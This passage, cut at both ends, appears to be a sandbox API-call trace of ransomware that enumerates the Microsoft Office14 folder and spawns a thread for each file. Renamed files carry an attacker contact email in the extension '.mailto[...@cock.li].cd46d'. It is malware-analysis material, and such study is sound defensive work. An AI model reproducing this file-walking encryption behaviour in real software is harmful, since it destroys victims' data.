lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6471c400, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x604b3070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6471c400, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x36580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactPicker.dll", cAlternateFileName="CONTAC~1.DLL")) returned 1 [0140.976] wcscmp (_String1="ContactPicker.dll", _String2=".") returned 1 [0140.976] wcscmp (_String1="ContactPicker.dll", _String2="..") returned 1 [0140.976] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONVERT", cAlternateFileName="")) returned 1 [0140.976] wcscmp (_String1="CONVERT", _String2=".") returned 1 [0140.976] wcscmp (_String1="CONVERT", _String2="..") returned 1 [0140.976] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f1a68 [0140.976] wcscpy (in: _Dest=0x8f1a68, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0140.976] wcscat (in: _Dest=0x8f1a68, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0140.976] wcscat (in: _Dest=0x8f1a68, _Source="CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0140.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f1a68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0140.977] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x911b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA0009.DLL", cAlternateFileName="CSS7DA~3.DLL")) returned 1 [0140.977] wcscmp (_String1="CSS7DATA0009.DLL", _String2=".") returned 1 [0140.978] wcscmp (_String1="CSS7DATA0009.DLL", _String2="..") returned 1 [0140.978] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d4df100, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6dee7e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3d4df100, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000A.DLL", cAlternateFileName="CSS7DA~1.DLL")) returned 1 [0140.978] wcscmp (_String1="CSS7DATA000A.DLL", _String2=".") returned 1 [0140.978] wcscmp (_String1="CSS7DATA000A.DLL", _String2="..") returned 1 [0140.978] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f18900, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa408e480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x64f18900, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000C.DLL", cAlternateFileName="CSS7DA~2.DLL")) returned 1 [0140.978] wcscmp (_String1="CSS7DATA000C.DLL", _String2=".") returned 1 [0140.978] wcscmp (_String1="CSS7DATA000C.DLL", _String2="..") returned 1 [0140.978] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ab7000, ftCreationTime.dwHighDateTime=0x1c8d9fe, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9ab7000, ftLastWriteTime.dwHighDateTime=0x1c8d9fe, nFileSizeHigh=0x0, nFileSizeLow=0x64e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Custom.propdesc.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="CUSTOM~1.CD4")) returned 1 [0140.978] wcscmp (_String1="Custom.propdesc.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.978] wcscmp (_String1="Custom.propdesc.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.978] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b53d600, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd25e4820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1b53d600, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91170, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATAGATH.DLL", cAlternateFileName="")) returned 1 [0140.978] wcscmp (_String1="DATAGATH.DLL", _String2=".") returned 1 [0140.978] wcscmp (_String1="DATAGATH.DLL", _String2="..") returned 1 [0140.978] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf942ba0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x124578, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBENGR.DLL", cAlternateFileName="")) returned 1 [0140.978] wcscmp (_String1="DBENGR.DLL", _String2=".") returned 1 [0140.978] wcscmp (_String1="DBENGR.DLL", _String2="..") returned 1 [0140.978] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0140.978] wcscmp (_String1="DBGHELP.DLL", _String2=".") returned 1 [0140.978] wcscmp (_String1="DBGHELP.DLL", _String2="..") returned 1 [0140.978] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2630ae0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBSHARE.DLL", cAlternateFileName="")) returned 1 [0140.978] wcscmp (_String1="DBSHARE.DLL", _String2=".") returned 1 [0140.978] wcscmp (_String1="DBSHARE.DLL", _String2="..") returned 1 [0140.978] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2904500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x137b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBWIZ.DLL", cAlternateFileName="")) returned 1 [0140.978] wcscmp (_String1="DBWIZ.DLL", _String2=".") returned 1 [0140.978] wcscmp (_String1="DBWIZ.DLL", _String2="..") returned 1 [0140.978] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3242fa00, ftCreationTime.dwHighDateTime=0x1cb7017, ftLastAccessTime.dwLowDateTime=0xd2a812c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3242fa00, ftLastWriteTime.dwHighDateTime=0x1cb7017, nFileSizeHigh=0x0, nFileSizeLow=0x1a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGRMLNCH.DLL", cAlternateFileName="")) returned 1 [0140.978] wcscmp (_String1="DGRMLNCH.DLL", _String2=".") returned 1 [0140.978] wcscmp (_String1="DGRMLNCH.DLL", _String2="..") returned 1 [0140.978] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x1c770, dwReserved0=0x0, dwReserved1=0x0, cFileName="DLGSETP.DLL", cAlternateFileName="")) returned 1 [0140.978] wcscmp (_String1="DLGSETP.DLL", _String2=".") returned 1 [0140.979] wcscmp (_String1="DLGSETP.DLL", _String2="..") returned 1 [0140.979] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Parts", cAlternateFileName="DOCUME~1")) returned 1 [0140.979] wcscmp (_String1="Document Parts", _String2=".") returned 1 [0140.979] wcscmp (_String1="Document Parts", _String2="..") returned 1 [0140.979] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d1000 [0140.979] wcscpy (in: _Dest=0x8d1000, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0140.979] wcscat (in: _Dest=0x8d1000, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0140.979] wcscat (in: _Dest=0x8d1000, _Source="Document Parts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" [0140.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d1000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0 [0140.980] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xcfd6d220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x1acf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0140.980] wcscmp (_String1="DRILLDWN.DLL", _String2=".") returned 1 [0140.980] wcscmp (_String1="DRILLDWN.DLL", _String2="..") returned 1 [0140.980] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3357b00, ftCreationTime.dwHighDateTime=0x1cba075, ftLastAccessTime.dwLowDateTime=0xcfdb94e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa3357b00, ftLastWriteTime.dwHighDateTime=0x1cba075, nFileSizeHigh=0x0, nFileSizeLow=0x36160, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV.DLL", cAlternateFileName="")) returned 1 [0140.980] wcscmp (_String1="DWGCNV.DLL", _String2=".") returned 1 [0140.980] wcscmp (_String1="DWGCNV.DLL", _String2="..") returned 1 [0140.980] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd00b3060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x8f3d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGDP.DLL", cAlternateFileName="")) returned 1 [0140.980] wcscmp (_String1="DWGDP.DLL", _String2=".") returned 1 [0140.980] wcscmp (_String1="DWGDP.DLL", _String2="..") returned 1 [0140.980] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f6a020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x30968, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITOR.EXE", cAlternateFileName="")) returned 1 [0140.980] wcscmp (_String1="EDITOR.EXE", _String2=".") returned 1 [0140.980] wcscmp (_String1="EDITOR.EXE", _String2="..") returned 1 [0140.980] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f90180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xad88, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITORS.DLL", cAlternateFileName="")) returned 1 [0140.980] wcscmp (_String1="EDITORS.DLL", _String2=".") returned 1 [0140.980] wcscmp (_String1="EDITORS.DLL", _String2="..") returned 1 [0140.980] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2fdc440, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f988, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEMENTS.DLL", cAlternateFileName="")) returned 1 [0140.981] wcscmp (_String1="ELEMENTS.DLL", _String2=".") returned 1 [0140.981] wcscmp (_String1="ELEMENTS.DLL", _String2="..") returned 1 [0140.981] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd30c0c80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x237a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEMUTIL.DLL", cAlternateFileName="")) returned 1 [0140.981] wcscmp (_String1="ELEMUTIL.DLL", _String2=".") returned 1 [0140.981] wcscmp (_String1="ELEMUTIL.DLL", _String2="..") returned 1 [0140.981] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x25b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMABLT32.DLL", cAlternateFileName="")) returned 1 [0140.981] wcscmp (_String1="EMABLT32.DLL", _String2=".") returned 1 [0140.981] wcscmp (_String1="EMABLT32.DLL", _String2="..") returned 1 [0140.981] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x60903850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x206fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMSMDB32.DLL", cAlternateFileName="")) returned 1 [0140.981] wcscmp (_String1="EMSMDB32.DLL", _String2=".") returned 1 [0140.981] wcscmp (_String1="EMSMDB32.DLL", _String2="..") returned 1 [0140.981] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGDIC.DAT", cAlternateFileName="")) returned 1 [0140.981] wcscmp (_String1="ENGDIC.DAT", _String2=".") returned 1 [0140.981] wcscmp (_String1="ENGDIC.DAT", _String2="..") returned 1 [0140.981] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x9729b0 [0140.981] wcscpy (in: _Dest=0x9729b0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0140.981] wcscat (in: _Dest=0x9729b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0140.981] wcscat (in: _Dest=0x9729b0, _Source="ENGDIC.DAT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT" [0140.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9729b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0140.982] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x867d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGIDX.DAT.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="ENGIDX~1.CD4")) returned 1 [0140.982] wcscmp (_String1="ENGIDX.DAT.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.982] wcscmp (_String1="ENGIDX.DAT.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.982] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x4c22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGLISH.LNG", cAlternateFileName="")) returned 1 [0140.983] wcscmp (_String1="ENGLISH.LNG", _String2=".") returned 1 [0140.983] wcscmp (_String1="ENGLISH.LNG", _String2="..") returned 1 [0140.983] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x972a28 [0140.983] wcscpy (in: _Dest=0x972a28, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0140.983] wcscat (in: _Dest=0x972a28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0140.983] wcscat (in: _Dest=0x972a28, _Source="ENGLISH.LNG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG" [0140.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x972a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8 [0140.984] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xf380, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityDataHandler.dll", cAlternateFileName="ENTITY~2.DLL")) returned 1 [0140.984] wcscmp (_String1="EntityDataHandler.dll", _String2=".") returned 1 [0140.984] wcscmp (_String1="EntityDataHandler.dll", _String2="..") returned 1 [0140.984] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x41980, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityPicker.dll", cAlternateFileName="ENTITY~1.DLL")) returned 1 [0140.984] wcscmp (_String1="EntityPicker.dll", _String2=".") returned 1 [0140.984] wcscmp (_String1="EntityPicker.dll", _String2="..") returned 1 [0140.984] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6094fb10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x35980, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPE.DLL", cAlternateFileName="")) returned 1 [0140.984] wcscmp (_String1="ENVELOPE.DLL", _String2=".") returned 1 [0140.984] wcscmp (_String1="ENVELOPE.DLL", _String2="..") returned 1 [0140.984] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x81e8ee40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x14fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERXIMP.ADD", cAlternateFileName="")) returned 1 [0140.984] wcscmp (_String1="ERXIMP.ADD", _String2=".") returned 1 [0140.984] wcscmp (_String1="ERXIMP.ADD", _String2="..") returned 1 [0140.984] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x972aa0 [0140.984] wcscpy (in: _Dest=0x972aa0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0140.985] wcscat (in: _Dest=0x972aa0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0140.985] wcscat (in: _Dest=0x972aa0, _Source="ERXIMP.ADD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" [0140.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x972aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0140.986] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cdf900, ftCreationTime.dwHighDateTime=0x1cac26b, ftLastAccessTime.dwLowDateTime=0x5221e250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52cdf900, ftLastWriteTime.dwHighDateTime=0x1cac26b, nFileSizeHigh=0x0, nFileSizeLow=0x1aecb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.EXE", cAlternateFileName="")) returned 1 [0140.986] wcscmp (_String1="EXCEL.EXE", _String2=".") returned 1 [0140.986] wcscmp (_String1="EXCEL.EXE", _String2="..") returned 1 [0140.986] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e14a00, ftCreationTime.dwHighDateTime=0x1cac1f0, 